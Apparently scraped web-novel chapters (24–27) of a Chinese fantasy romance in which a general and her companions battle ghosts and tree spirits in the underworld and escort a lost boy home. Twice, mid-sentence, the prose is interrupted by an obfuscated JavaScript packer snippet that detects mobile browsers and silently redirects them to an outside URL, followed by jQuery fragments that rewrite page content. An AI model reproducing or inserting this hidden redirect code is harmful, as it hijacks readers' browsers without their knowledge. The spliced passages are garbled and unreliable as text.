不等他再喊第二遍,风浪撞击舱门,门板重重关闭。 又一重滔天巨浪打来,黑影一晃,咚的一声,一具青黑腐烂的躯体落在船上。 无律说:“咦,是大鱼吗?” “死尸!”希声厉声喝到,“当心水里!” 浪里伸出一些腐烂的胳膊和腿。再之后,一些肿胀的人头也从水里伸了出来,双眼暴凸,舌头拖在胸前。 苍名一把抓住未辞的手臂:“快看!” “水鬼。”未辞在她耳边说,“都是被推进水里淹死的人,死后成了怨鬼。” 船上横躺的尸身突然暴起,向苍名和未辞扑来。未辞哼了一声,眼中冷光闪过,水鬼踉跄着后退几步,又转而冲向船舱。 “站住!”苍名抛出宝石树叶,正中水鬼后颈。树叶飞回手中时,水鬼瘫倒下去,淤泥从后颈的伤口中缓缓流淌而出,使得风里充满了泥腥气息。 无律用拐杖敲了敲脚下的宝剑:“劳驾带我们去船舱。” 宝剑闻声飞动,无律和希声重心不稳,齐齐蹲下膝盖,令苍名不忍直视。 无律和希声守在船舱的门前,希声一张黄符贴上舱门:“护卫!” 苍名大声称赞道:“希声好妙计!” 无律则用力一挥拐棍:“看我的!”疾风击退迎面而来的江浪,几只水鬼被甩出去老远。 余下的水鬼察觉到异军突起,心有不忿,猛地跃向空中,重重落回水面,一尸激起千层浪,百尸激起浪涛天。 大浪拍到岸上,竟然拍灭了穷鬼的篝火。穷鬼本来和树精搏斗不休,此刻个个愣住。他们费力地用身后的眼睛看清那堆灰烬,呆滞地迎接树精的抽打绞杀,突然哇哇叫了起来:“火!火!” 一怒之下,奋勇无敌,穷鬼们发疯般地挣脱树精的枝条,向浪里的水鬼破口大骂。 水鬼不甘示弱,携着大浪爬上岸来,一时间三方乱斗在一起,打了个昏天黑地。 希声向袖中一掏,片片符纸如风吹飞花四散,围守住幽灵船周身八个方位。 苍名探头喊道:“老头,快走啊——” 几张泡烂的脸浮出水面,和苍名看了个面对面。水鬼从船底爬出来,攀着船帮就要上来,又被黄符的金光刺中,落回水中。 “将军,抓紧我。”未辞低头说,“我来解决它们。” 苍名急忙双手搂住他的肩颈:“还是别了!余下这些鬼怪并没惹我们。再说,那样你的身份就……” 未辞说:“好。” 无律在身后喊道:“你们能不能等会儿再……” 苍名松开双手,大声指挥道:“你们两个,先从宝剑上下来!” 那两人跳到船上,立刻摔得四仰八叉,百忙之中竟然还合力把那只淤泥水鬼掀进水里。 冰刃宝剑嗖嗖飞回来,被苍名一把抓住,向上一抛:“去吧!” 宝剑刺穿层层巨浪,在空中画过一道弧线,一头扎进江里。 希声和无律各自抓着桅杆,异口同声地喊道:“喂,怎么扔了——” 下一个瞬间,幽灵船凌空起飞。剑刃托住船底,带着船只高高地飞扬起来。 幽灵船就像一座悬浮的古堡,凌驾于江面浪潮之上,高高低低地向前飘去。 “你这宝剑可以啊!不只是跳舞的道具嘛。”无律爬了起来,对冰刃另眼相看。希声也站了起来,继续往船只的每个角落贴符。 苍名发觉自己还被圈在未辞的怀里,急忙轻轻挣脱出来:“未辞,你没事吧?” 未辞的手臂空了出来,慢慢地垂了下去。 苍名两手背在身后,突然把脸凑到他跟前,笑眯眯地说道:“多亏了你,我连衣服都没湿,下次换我来保护你,让你也体验一下这种愉快的感觉……” 未辞说:“哦?那将军一定要用同样的方式保护我。” 苍名假装注视着船下的混战:“哦,你放心,我,有我的办法。” 岸上满地都是半截的鬼身,树精也被挖倒了不少,绿色的血流汇入江里,江水泛出金属般的冰冷光芒。又一丛巨浪腾起,数只水鬼随波逐浪,喊声如同水声:“杀了……杀了……” 忽然之间,黑云变幻,阴风怒号,钟无期抱着一只格外庞大的水鬼破水而出,飞上半空,大喊大叫。 “?” 苍名、希声和无律集体石化了。 无律万万没想到自己逃进冥界都没能摆脱钟无期,他震惊地看着随风波上下起落的钟无期,比看到苍名真的骑螃蟹还震撼。 水鬼到达抛物线的顶点,随即就要向下坠落。钟无期猛地撒开手,借着冲力飞扑上来,一把抓住船的栏杆。 无律举起拐棍,有一瞬间似乎想狠狠砸向他的手。一个迟疑的片刻,钟无期已经翻身落进船里,一边吐水一边发抖。 苍名嫌弃地站远了一些,和未辞对视一眼。来冥界之前,钟无期曾藏在古楼门外的森林中,鬼鬼祟祟地偷听几人对话。 未辞轻轻笑道:“将军不是正希望这东西跟来吗?” 苍名看着喷泉般的钟无期,悄声说道:“恩,不过没想到是水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172738|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼驮着他来。” 希声冷笑一声:“不愧是一代掌门,真是艺高人胆大,找不到别的入口,就抱着水鬼漂到冥界。” 无律沉着脸开口道:“钟无期,你跟踪我们?你想干什么?” 钟无期吐够了水,用肮脏的袖子抹着脸,尖嘴猴腮地一笑:“你们来干什么,我就来干什么。” 几个人都露出糊涂的表情。 无律说:“我们来送迷路小朋友回家,关你屁事。你要饭能要到冥界来?” 钟无期轻蔑地说:“你们当我傻呀?你们分明是来找未央冠!” 几个人都露出了你确实傻的表情。 希声咔咔捏响了指关节,钟无期立刻缩着脖子大喊:“仙杀人啦!仙也杀人啦!” 希声一挥袖子把他扇倒在地,恨恨地说:“杀你又如何。” 钟无期翻了个身,反倒把脑子摔聪明了,忽然灵光乍现,一把拉开舱门:“哟,这就是迷路的小朋友?” 几乎没人看清她的动作,苍名已经晃身来到钟无期身后,一脚把他踹出几丈。 船身像跷跷板一样颠簸几下,花怡面如死灰,在晕船和惊恐的双重加持下,终于眼睛一翻,昏了过去。 兔脸面具从斗篷暗袋里滑落出来,啪嗒一下掉到地上。钟无期立刻和身扑了上来,用身体掩护住面具,口中高喊道:“未央冠——我的——” 未辞的脸色阴沉得像此刻的天色,他一手拎起钟无期,看也不看就扔了出去。接着捡起面具,掏出一块手帕擦了擦,才交给苍名:“将军。” 苍名接过来,对他感激地一笑。 钟无期落在无律脚下,摔得全身差点散架,还在呐喊不休:“交出来!丧门星!把未央冠交出来!” 希声皱着眉头说:“这人怕不是疯了?” 无律低头看着脚边那一堆褴褛的布条。那是铜铎派的道袍,遍布着掌门独有的花纹制式,只是因为一路漂流而面目全非。钟无期蜷缩在烂布条中,恨恨地抬眼看着无律。 无律怅然道:“你怎么变成这样?” 钟无期怪笑起来:“音律仙无律,你不食人间烟火,一个铜子儿也够你花一年了吧?你知道饥饿的滋味么?你知道饥寒交迫的滋味么!” 无律愣了一下:“铜铎山呢?” 钟无期呸了一声,无律抓着他的领口把他薅起来:“铜铎山呢!” 苍名怒斥道:“问你话呢!铜铎山里摘一把野果都够你吃了,怎么可能挨饿!” 钟无期嗬嗬一笑:“我,我他妈的被撵出来啦,铜铎山被抵押给别人……” 无律用尽全力揍了他一拳。钟无期满嘴鲜血淋漓,还口齿不清地叫道:“我铜铎派将你养大,你翅膀硬了会打人了!你拉拢两个仙,了不起了!你当年明明和奏潮仙争过功勋!你还出卖丧门星呢!” 没等无律再打第二拳,苍名和希声同时一左一右给了钟无期一个大嘴巴:“闭嘴。” 钟无期晕头转向地摔向船舱,一把拖住昏迷的花怡:“不给珠冠,这小子就没命!” 苍名立刻去抢人,无律和希声抓着他的头发,几人扭成一团,幽灵船猛地侧倾过来,向下疾速坠落。 25. 将军夜引弓 倾斜的幽灵船从空中坠向江心时,苍名大脑一片空白,只觉得自己要抓几百年的鬼来赚钱赔偿游霄了。 在船入水前的最后一瞬间,苍名手捏法诀,一声轻吒:“冰刃!” 船身停止了下落。冰刃宝剑向前蹿出,再度托住了船底。 无律和希声喝彩起来,只有苍名看见几页白鸥不易察觉地飞过,稳稳地接住了船底的另一端。 那些白鸥透明得像被雨打湿的花瓣一样,几乎能透过薄薄的暗纹流转的纸页,看见汹涌的波浪和幢幢的鬼影。 苍名悄悄捏了一下未辞的手臂以示感谢,然后和希声一起把花怡拖进船舱。花怡的眼睛勉强睁开一条缝,又虚弱地闭上了。 无律一把抓住钟无期的脖子,恨不得马上就掐死他:“你把铜铎山抵给谁了?说话!” 钟无期喉咙咯咯作响,突然用手指着苍名,费力地说:“要不是丧门星,我派怎会衰落至此?” 苍名:“……是你们自己要追杀我还互相倾轧吧。” 希声和无律都转开了头,默不作响。 钟无期猛地撕开胸前的衣服,无律惊奇之下都忘了掐他脖子:“干什么?” 瘦骨嶙峋的胸前交叉绑着一条银链,链条中央垂挂着一只细小而扁平的银匣。钟无期伸着舌头在尖牙上舔了一圈,阴森地说:“想要契书吗?” 无律一把抓向他的胸前,他像条泥鳅一样从无律胳膊底下钻出来:“铜铎山抵给谁了?契书上写着呐。” 两人追来逐去,苍名生怕几个人又把船打翻,起心动念之间手诀变幻:“落地!” 冰刃宝剑托着幽灵船徐徐降落在岸上。幽灵船有气无力,半死不活,一副已经在此搁浅多年的模样。 此地距离妖鬼大战之处已有几十里,天色重新变为湖绿色,江水回弯,江滩恰似港口。偶尔有奇形怪状的小鬼小妖路过,对这几个打打杀杀的活人毫不在意。 钟无期一看船只落地,顿时神气活现,跳到地上跑出数十步:“把未央冠给我!要不然这契书我就毁啦。” 无律拄拐飞奔,紧随其后:“站住!无耻小人,亡命之徒,穷鬼上身……” 一个寸劲,把自己喊岔气了。 苍名早已赶上来,向钟无期一掌劈去。宝剑不在手里,终究还是差点意思,被钟无期打滚避开。 钟无期一抬头,发现自己滚到了未辞脚下。未辞紧随苍名而来,声音轻柔悦耳:“将军,冥界地形诡异多变,别跑太远了。” 苍名回头说:“恩,好。” 钟无期像是才注意到未辞:“你这个小杂种是谁?” 咣一声响。 未辞双眼睁得大开,定定地看着苍名。后者刚以迅雷不及掩耳之势给了钟无期一拳,此时缓缓收手,怒气十足地哼了一声。 钟无期趴在地上,吐着嘴里的血水。苍名冷冷地说:“老杂种。” 未辞喃喃地说:“将军……” “什么声音?”无律突然举起拐棍,凝神细听,“有东西来了?” 一团吱哇乱叫的黑影出现在天际线,转眼就涌到眼前。方才那群浩浩荡荡的穷鬼像土豆一样连滚带爬地冲了过来,有的拎着自己的脸皮,还有的把胳膊折到背后捂着脑袋。 每只鬼拼命往前抢,谁都不想跑在最后一排。 领头的几十个穷鬼身材高大,两手抓着点燃的树枝或树根,大声喊道:“火种!火种!” 几百株树精一言不发地跟在后面追杀,就像百亩树林无声地贴地移动,乌压压地席卷港湾。 枯树的枝条变成一支支利箭,一簇簇尖刺连成海洋。树冠齐刷刷一抖,只见森林骤然翻卷,无数支利箭飞了出来。随利箭一起飞出的还有数只水鬼,它们一直挂在枯枝之间。 穷鬼纷纷中箭倒地,也有不少被水鬼紧紧箍住,拖进水里。 水鬼自觉翻身得志,有朝一日竟能淹死别人,个个欢欣鼓舞:“我们也淹死别人啦!” 说完,水鬼抓着它们的战利品,高高弹起,重重落水,消失在一个大浪里。 不少利箭被风吹偏,竟向幽灵船嗖嗖飞来。 “不好,希声自己守船!”无律急忙拄拐奔向船只。 啪一声,一张树叶黄符贴在钟无期胸前。苍名纵身跃回船上,掷出宝石树叶,将飞来的流矢逐一打成两节。 未辞早已站在苍名身前半步之处,随手劈开几只乱斗中飞来的火把。几个穷鬼又哭又叫地爬过来,捡起熄灭的火种,随即被树精一箭射中,瘫成一张皮。 希声手持琵琶,利落地击回一支箭。与琵琶相击的一瞬间,利箭拨动了琴弦,琴声叮咚作响。 弦音未绝,希声又击回第二支箭,又一声音符随之响起。 流矢如急雨,一把琵琶在空中上下翻飞,击出一首降妖曲,几个往船上爬的小鬼立刻头昏脑胀,咚咚掉落在地。 苍名喊道:“希声好身手!你要是练武,必成武神!” 无律横扫拐棍,把一支箭拍到希声面前:“给你续上!” 希声用琵琶迎击,曲声连绵不断,一浪急似一浪。 不远处,混战的妖鬼大军受到曲声的冲击,不由自主地避退三舍。有个机灵的树精叫嚷起来:“是道士!道士来啦!” 突然之间,树精和穷鬼一反先前敌对残杀之态,大有结为同盟之意,亲亲热热地互相挎着胳膊,一步一步向幽灵船逼近。 “怎么冲我们来了!”无律绝望地叫道,“有没有搞错啊!” 希声单手拎着琵琶,奇怪地说:“见了道士还不跑?” 有棵老树爆吼一声:“交出法宝,饶你们不死!” 希声反倒气笑了。 未辞低声对苍名说:“妖鬼抢道士的法宝去卖钱,在冥界倒是常事。” 苍名也低声回答道:“难怪大鬼手里常有些罕见玩意。” 那棵老树张开血盆大口,树干几乎从中间断开。它深吸一口气,顿时又惊又喜:“有小孩子的气味!嫩着呐!” 树精和穷鬼蜂拥而上,密密麻麻,乌泱一片。 冰刃宝剑还压在船底,苍名只好学着未辞的招式,赤手空拳上阵,一巴掌拍在树精身上,疼得咬牙切齿,不禁佩服地对未辞说:“你的手是铁做的?” 未辞展颜一笑。 希声故技重施,用琵琶猛击树精,树枝勾得琴弦鸣响不息。无律受了希声的启发,用拐杖痛击穷鬼,嘣嘣作响,节奏感十足。 乐曲与音律交相辉映,击浪华声阵重出江湖,牢牢围住幽灵船。树精疾速向后退去,只有穷鬼眼睛朝后,看不见胸前法阵,还在往前冲锋,然后被法阵的金光刺中,横七竖八摔了一地。 穷鬼摔了几次,终于发现应该撤退,立刻转身逃跑。这下每张脸面正对幽灵船,才看见船上的道士。 精怪妖鬼,忽来忽去,瞬间不见踪影,一切只在虚实之间,就像冥界的一场乱梦。 “钟无期!”无律猛然想起正事,大叫一声,转身要去抓人,结果吓得往后一跳。 钟无期不知什么时候自己摸上船了,正站在几人身 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说着扔下斗篷和剑鞘,自己也跳进水里。在入水的瞬间,她似乎感觉到未辞惊呼一声:“将军!” 水下的世界如同冰蓝色迷雾,和苍名想象中的鬼江不太一样。这里既不冰冷刺骨,也不漆黑绝望。冥界的湖蓝色光线穿过水面,使得头顶始终是一片淡淡的光晕。 水鬼早就被吓跑了。无律和钟无期一边缓慢下沉,一边纠缠扭打着向远方漂去,只剩下一团乱七八糟的背影。 苍名闭气踩水,朝他们无声游去,长发与裙摆如同云烟浮动,时卷时舒。 春秋渡平淡无奇,却令亡魂难渡、纷纷陨落,真是离奇到不可思议。 正要学着鱼精海妖的样子来个挺身摆尾,一阵渺茫的歌声从江底传来。 起初那阵歌声若隐若现,就像凝固在水中。后来唱词逐渐地清晰起来,那不是妖鬼唱出来的冷嘲热讽,而是母亲唱给孩子的小调。 “林暗草惊风,将军夜引弓。平明寻白羽,没在石棱中。” …… 这不是月儿弯、林儿静那样的童谣,这支歌里讲的是一位将军的故事。 在母亲的哼唱声中,孩童咯咯的笑声像风吹树叶一样回响起来。 “娘,将军,将军……” “将军可威风了,等你长大了,也要当将军……” 一阵激动的战栗传遍了全身。苍名猛地一踩水,急迫地游向歌声的方向:“娘!娘!” 水下是无声的,呼唤只是一串泡沫。 越向前游,歌声反而越来越远,苍名伸出双手,拼命喊道:“娘!我在这儿啊!你要去哪,娘!” 前方是一阵漩涡,像一场水下的龙卷风。歌声似乎就是从那里传出来的。 没有任何的犹豫,苍名一头扎进了漩涡,被水流裹挟旋转。她大喊一声:“娘!别扔下我!” 漩涡里没有任何人,连歌声也消失了。 苍名仿佛失去了心跳,缓缓向下沉去。水底的尽头在哪里?无论怎样下沉,都只有深不见底的深渊。 在阖上眼睛之前,她看见床头垂下的轻纱帷幔,窗外银河飞越九天,夜深竹林静无风声。坐在床边的美丽妇人,微笑着伸出手,那只手马上就要触碰到她的脸。 苍名模模糊糊地想到,如果再被母亲的手抚摸一次,那该多好啊。 26. 招魂魂不到 天似乎亮了,苍名的眼皮上洒满了湖蓝色的光芒。她费了一会儿事,终于把眼皮睁开了,发现自己像个死人一样蜷缩在别人怀里。 这是一个熟悉的怀抱,温热、结实、充满力量,散发着清淡的竹叶气味。这是未辞的怀抱。 苍名仰起脸,看见他紧绷的嘴唇和下颌骨。 “将军。” 苍名茫然地坐起来,望向他漆黑的眼睛。未辞的眼里充满了不安和忧虑,脸色比以往更加苍白。 “这里是哪,不是水下了?”苍名转头看着四周,发现两人在一只海螺里。 再看一会儿,才明白这是一处山洞,内壁光滑,状如海螺。洞口正对着远方的江面,江面风平浪静,无限危机深藏水底。 “将军,你在水下游了很远,这里离幽灵船有一段路。”未辞看向她的目光竟然饱含哀伤之情。 苍名想起他曾嘱咐自己不要乱跑,转眼自己就一个猛子扎进水里,别人岂有不哀伤发愁之理。 于是她弱弱地说了一句:“抱歉,抱歉。” 未辞深深地看着她,就像要把她望穿一样:“为什么要道歉,是我没有跟住你。” 苍名强行抻开一个笑脸:“怎么会,明明是你把我捞起来的,哈哈哈。无律呢?” 未辞说:“追着钟无期漂远了。” 苍名继续笑道:“没关系,反正神仙是不会溺水的,哈哈哈。至于钟无期那老东西,大概是用了什么闭气的丹药,哈哈哈。” 未辞脸上毫无笑意:“将军,我们回人间去吧。” 苍名急忙说:“可是希声和花怡呢?” 未辞沉着脸说:“他们不会有事。我给幽灵船设了结界,再跳下水找你,就找不到了。” “是吗?”苍名看着江水,若有所思地说,“那么久的歌声……原来只是一个瞬间。” “将军。”未辞拉住她的胳膊,想要说些什么。苍名突然双手捂住脸,浑身颤抖地哭了起来。 未辞半跪着,双手握住她的两个肩膀。她的肩膀无力地耷拉下去,仿佛纸花被大雪压垮,又仿佛浆洗挺括的衣服被雨水打湿坍塌。 苍名抬起头艰难地说:“水下有……” 未辞轻声说:“水下有最艰难的事。春秋渡会让人想起内心深处的牵绊,所以那么多亡魂过不了这一关。” 苍名说:“我听见了我娘给我唱的儿歌。那是很多年前的事了。我以为我已经把那些事忘了。” 未辞说:“恩。” 苍名说:“你知道吗,我娘给我唱的儿歌总是和将军有关。从小我就想当将军,像我爹那样。” 未辞说:“恩。” 苍名说:“在水下,我还以为能再见到我父母一次。他们死无全尸,魂飞魄散,没能化为鬼。我试过找阴阳先生通灵招魂,都没有用。” 未辞说:“我知道。” 苍名用衣服抹着脸,才发现身上袍子的触感是干爽温暖的,不知道未辞用了什么法术把它变干了。 她勉强一笑,故作轻松地说:“你看,父母的事就是我的心魔。每次一发作,我就不中啦,还好总是有你出手帮忙。” “没什么,我总会一直看着你。”未辞静静地说,“将军,你累的话,就休息一下。” 苍名说:“是啊,是累了。”说完,她跪立起来,双臂搂住了未辞的脖子,把头埋在他的肩膀上。 未辞像塑像一样惊呆了,两只手不知道该往哪里放。苍名静静地在他的身上靠了一会儿,然后轻轻松手向后退开。 忽然,一双手箍住她的腰和后背,猛地把她向前拉去。 她几乎是砸进了未辞的怀抱中,被紧紧镶嵌在其中,像被暖意洋洋的火焰包围。她感受到一阵轻微的战栗,她分不清那来自未辞还是自己。 在未辞的怀抱里,她的心慢慢安定下来,浅淡的笑容回到脸上,狡黠的眼睛重新熠熠生辉。 苍名从他的胸前抬起头,明知故问地说:“未辞,这次我们挨在一起,好像既不是为了谁救谁,也不是为了谁带谁飞……” 未辞略显慌忙地松开胳膊,低头看着别处说:“将军,是我冒犯了。” 未辞洁白的脸上泛起一层浅淡的红色,连带着耳朵也红了起来。 苍名又说:“未辞,你觉得我们以后是上下级呢?还是别的什么呢?” 未辞竟然说不出话,还颇为小心地看了一眼苍名,说不上来是犹豫,还是要讨她一个示下。 苍名突然心念一动,想到妖王之辈未必愿意公开与神仙道士为伍。 人鬼殊途,神魔相克。万一自己将来真成了神,说不定还被天庭派下来镇压妖王呢。 想明白这一层以后,苍名突然感到微微的失望。她打住话头,向后靠坐在光滑的洞壁上,一时有些失神。 注意到未辞探究的目光,苍名笑微微地说:“我看店主面色红润动人,不施胭脂而昳丽夺目……”她的脑海里已经不知道自己在说些什么。 未辞无奈地一笑,脱口而出道:“小姑娘,你又胡说八道了。” 说完这句,两人都有些晃神,彼此怔了一下。 苍名觉得他说话的口吻有种说不出的熟悉,然而回想自己这鸡飞狗跳的一生,又的确从来没有人对她说过这句话。 未辞刚刚平静下来的小白脸,又开始呈现出莫名其妙的紧张:“将军,我刚才的意思是……” 苍名淡淡地笑了一下:“咱们走吧,回去找希声他们。” 两人走出海螺洞,苍名还在回味着未辞刚才的话,心不在焉地问:“我是从哪漂来的?” 未辞一笑,指了指方向:“那边。” 没有冰刃宝剑在手,苍名又不怎么擅长画瞬移符,两人索性施展轻身功夫,几个纵跃就奔出去老远。 苍名凌风跳起,转头喊道:“未辞,你的店里有没有会飞的靴子?” 未辞刚一落地,足尖轻点,又平地跃起,哑然失笑道:“这个么,惭愧,还没收到过。” 苍名神采飞扬地说:“那有没有带翅膀的衣裳呢?” “……” 没过三炷香的功夫,幽灵船出现在眼前,一动不动,灰头土脸。 苍名一个空翻跳上船,正好落在希声面前:“我回来了!” 希声站在船舱前,两手背后,凝视远方,并吹着口哨。见苍名落地,她毫不意外地点了点头,嘴里的曲声一点没断。 未辞也上了船,苍名对他回眸一笑,搞得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172740|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他又露出心神不定的表情。水下惊魂仿佛已经是很久之前的事,一个新的时代似乎要展开了,但两人似乎又有些话没有说完。连他们自己也不知道要说些什么,只是他们突然不敢看彼此的眼睛了。 苍名敲了敲舱门,里面响起微弱的应答声。她开门走进船舱,花怡仰面朝天躺在席子上,浑身上下都写着生不如死几个大字。 苍名蹲下来抱歉地说:“对不住啊,让你跟着我们几个出门,条件是太恶劣了一些……” 花怡低声说:“这就是我的命……” 苍名双手一拍,慷慨陈词:“诶,小弟,振作一点,我们现在重新上路!” 花怡似乎被她鼓舞人心的语气深深打动,想到了阔别已久的家,双眼满含热泪。 希声已经用口哨吹完了一整支驱魔曲,在结尾的一阵变奏声里缓缓收势,一时间余音缭绕。 苍名凑到她身边,又对未辞招了招手,三人交头接耳,大声密谋。 希声极目远眺,凝重地说:“无律不知跑到哪了,钟无期虽然资质平平,却诡诈难斗。” 苍名稍加思索,说:“不如我们兵分两路,一边去找无律,一边去送花怡。” 希声点点头,言简意赅地说:“我去找无律,帮他揍钟无期。” 未辞则说:“将军,你吩咐我们便是。” 希声头上的包袱皮已经不知去向,苍名捡起船板上的斗篷递给她:“我有面具,斗篷给你。” 希声从不磨叽推辞,接过来就披在身上,兜帽遮头,沉默寡言,和冥界行走的活人客商无异。 希声下了船,苍名突然也跟着跳了下去。 希声说:“没事,不用送了。” 苍名说:“不是,我只是突然想起来,你认得出无律现在的假脸吗……” 语惊四座。 希声说:“认不出。” 未辞利落地跳到苍名身边,微笑着说:“只能靠音律仙认出你了。” 希声说:“你很开心。因为我一时半会儿回不来。” 苍名不合时宜地笑了一下,然后掏出树叶正色道:“我们一人一张符,互相能感应到对方,免得我们所有人都走散了。” 树叶交到希声手里的一瞬间变成了黄符,希声收到袖子里,点头表示有用。 花怡畏畏缩缩地下了船,站在苍名旁边。苍名头一次看见花怡自愿走动,意外地说:“下来活动吗?” 花怡说:“我,不想自己在上面……” 苍名恍然大悟,急忙说:“我们只是下来说说话,不会扔下你的,别害怕。” 说着,她一个响指召出冰刃宝剑,剑身从船底下飞出来,带得船身往上颠了一下。 宝剑挂回腰间,苍名从容地说:“好,现在我和这位哥哥送你回去……” 幽灵船突然猛地往前一蹿,几人毫无防备,急忙纷纷躲闪:“?” 船只又往前蹿了一步,好像在朝着他们咆哮叫骂。接着,幽灵船突然平地起飞,经过一道弧线落地,火力全开,头也不回地滑走了。 苍名目瞪口呆地看着它在陆地上左拐右拐,穿越村落山川,最后变成一个小点消失了。 幽灵船扔下他们,独自回去找主人了。 27. 密林幽禁地 苍名面部抽搐,转头看向希声和未辞。 希声平静地说:“别管它了。”她一挥斗篷,绝尘而去,风里留下她渐行渐远的声音:“无论结果如何,五日后在此地碰头,免得黄符失效。” 苍名还在愁苦地眺望着幽灵船消失的地方,认真思考是不是应该追上去。 未辞贴心地说道:“将军,那船并没损坏,只是沾了点淤泥,想必你那位游少爷不会见怪的。” 苍名苦笑着说:“恩,等回去以后我给游少爷刷船谢罪。” 如果到时候游霄还愿意见到她的话。 未辞又说:“将军,下一步我们怎么走?” 苍名这才想起没了幽灵船,弦真屿的路线也吹了,惋惜地长叹一声:“这老头啊。” 未辞笑了起来,笑声清冷浑厚,脸颊现出了蛊惑人心的梨涡。 苍名出神地看了他一会儿,转开头抱着手臂高傲地说:“笑什么。” 他学着她的样子抱起手臂,说:“不能笑吗?”苍名刚想伸手点他笑穴,突然想起他在海螺洞里展现出的迟疑。一块沉重的巨石压上了她的心头。 她的手半路一拐,拍上了花怡的肩膀:“小弟,稍安勿躁。” 未辞收起笑容,默默地说:“将军,方才我放了几只白鸥出去探路,仿佛打探到弦真屿的方向了。” “是吗?”苍名惊喜交加,赞不绝口,“很好,很好,你办事果然深得我心……” 未辞垂下眼睛说道:“将军似乎答应过,要奖赏属下一顿饭……” 苍名急忙接口道:“这我一直没忘,等咱们把花怡小弟送回家……” 未辞点着头说:“恩,好的。” 他捡起地上的剑鞘,苍名则拾起重见天日的长剑,往空中一放:“那我们御剑吧!” 苍名打头,未辞殿后,花怡被夹在中间,由未辞伸出一只手半扶半抱。 长剑以缓慢的速度在低空中飞行,穿过了两片府邸、一片荒地和一片棚户区,向传闻中的弦真屿无限靠近。 沿途的小鬼轻而易举地超过了他们,并回头向他们投来不解的一瞥。 苍名用一种欢欣鼓舞的声音说道:“小弟,别管他们,我们匀速飞行,慢则慢矣,胜在稳妥!” 花怡恩了一声,苍名又说:“可惜,我本来带了些干粮放在幽灵船上。折腾了大半天,小弟,你饿了吧?” 花怡又恩了一声。 苍名说:“前边如果有什么干净的食肆,咱们就进去坐坐。有什么好玩的东西,也给你买几件。” 未辞低低地笑了一声。 当他们飞到一片鬼市时,苍名终于明白了笑声的含义。 只见面前的摊位上白布翻飞,竟像一座破败的灵堂。 再往前的摊位,每隔一会儿就整个炸开,碎片迸射。过了一会儿,这些碎片又纷纷合拢复原。 斜对面的摊位则淹没在熊熊烈火中,只有一杆焦糊的旗帜从火里伸出来,毕剥之声不绝于耳。一些小妖大踏步走进火堆,带着一脸甘之如饴的表情消失在烈焰之中。 未辞请示道:“将军,想买点什么吗?” 苍名尬笑着说:“不急,再往前看看。” 在此刻,花怡反而展现出不同于往常的淡定。苍名回头问他:“小弟啊,你在冥界长大,平时都吃点什么?” 花怡说:“我娘不让我来鬼市的,我们吃的用的都是我姨姨送来的。” “难怪呢。”苍名点头道,“真是多亏了你姨姨。” 飞过鬼市,转了几道弯,气温骤降,千里冰封。眼前赫然出现一片奇异的雪树森林。 成千上万棵巨树通体雪白,披挂冰霜,空有枝干,无花无叶。巨树的根系却猩红如血,从泥土中半露出来,仿佛能随时迈开步子走动。 花怡突然叫了起来:“穿过森林就是我家!”略带青涩的少年嗓音在冰天雪地里回响,那些伸向天际的树枝一齐抖了抖,洒下满天银粉。 “慢!”苍名猛地刹住宝剑,怀疑地打量着森林。雪树一望无际,熠熠生辉,就像是凝结了整个冬天的白雪。 未辞也低喝一声:“将军,有蹊跷——” 与此同时,花怡亮开嗓子喊道:“开——” 森林突然裂开一道口子,一股强劲的风力将花怡吸了进去。 不幸的是,花怡的前面还站着苍名。苍名只觉得身后的人把她从宝剑上砸了下去,她还在空中翻了个身。倏忽之间,两人已经掉进那条口子里。 “将军!”未辞纵身一跃,声音由远及近。他的指尖已经快要碰到苍名的指尖,苍名也向他伸出双手。 忽然,两侧的雪白枝条嗖嗖伸出来,彼此交织缠绕,瞬间将那道口子封死。纠缠的树枝像密不透风的天网,隔开了外面的世界。在巨树之间,苍名向下坠落。 “定!”苍名使出定身法,随即心里一惊。在这片森林里,法术失灵了。 砰地一声,苍名摔在一片龙蛇起伏的树根上,疼得眼冒金星。 她在地上躺了一会儿,才骂骂咧咧地爬起来:“要不是姑奶奶从小习舞,骨头抗摔,今天就折在这儿了……” 花怡轻飘飘地落在地上,站姿稳健,举重若轻。这么多天以来,他的眼睛第一次有了光亮:“到家了,前面就是我家了。” 苍名看着头顶,那里没有天空,只有连片的冰雪树枝。未辞被挡在外面,留给苍名的最后画面是他略显焦急的脸。 “小弟,这森林,外人进不来吗?”苍名等了一会儿,不见未辞进来,顿时疑心大起。 “走吧,走吧!”花怡拉着苍名的手臂,抬腿就往森林深处走去,“林子被施了奇门遁甲之术,穿过那道入口时,谁也不知道自己会掉在哪里。” 苍名头疼地说:“那即使未辞乱打进来,也可能掉在和我们不同的方位?小弟,这森林地界很广吧?去哪找他呢?” 花怡摇了摇头。苍名突然想起传音之术,试着用意念叫了一声:“未辞?” 无人应答。苍名摸了摸嘴唇,唇脂早就掉光了,装着唇脂的小盒子放在斗篷暗袋里,此刻在希声的身上。 耳环倒是牢牢地戴在耳畔,却听不见未辞的动静。苍名叹气道:“你大哥哥的传讯过不来,不知是因为树林的结界,还是因为传音耳环和唇脂须得一起用才奏效。” 花怡说:“我们先回家,叫我娘想办法。” “好。”苍名也想赶紧把花怡送回家,再做其他打算。这一路实在是太古怪了。 花怡似乎能从森林中的任意一处摸回家。他率领苍名,沿一条直线走了一段, 